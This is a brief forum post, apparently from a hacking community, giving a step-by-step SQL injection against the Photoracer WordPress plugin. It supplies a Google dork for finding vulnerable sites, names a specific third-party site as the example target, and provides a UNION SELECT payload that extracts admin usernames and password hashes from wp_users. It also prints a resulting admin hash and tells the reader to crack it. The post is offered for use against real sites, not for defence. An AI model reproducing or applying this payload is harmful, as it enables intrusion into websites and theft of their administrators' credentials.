This Treadh i will give you HOW TO EXPLOIT WORDPRESS And Get Username And Password,
as always wi will find the target in google.
- This The Dork : ( Copy in Google )
allinurl:"wp-content/plugins/photoracer/viewimg.php?id="
- And Choose The Target, For Example :
http://tappisiena.altervista.org/wp-content/plugins/photoracer/viewimg.php?id=1
- And Then Add The Code At The End :
+union+select+1,2,3,4,5,concat(0x3a,user_login,0x3a,user_pass),7,8,9+from+wp_users--
- For Example :
http://tappisiena.altervista.org/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(0x3a,user_login,0x3a,user_pass),7,8,9+from+wp_users--Kemudian Go :
And Then You Will Get Username, admin:$P$9qHFdExdNwlJw8WgLRM6OhOWl/YEWb
after that you must crack this code in here
Good Luck ! :D
Thank's You
Thank's To :
- Root-Cyber
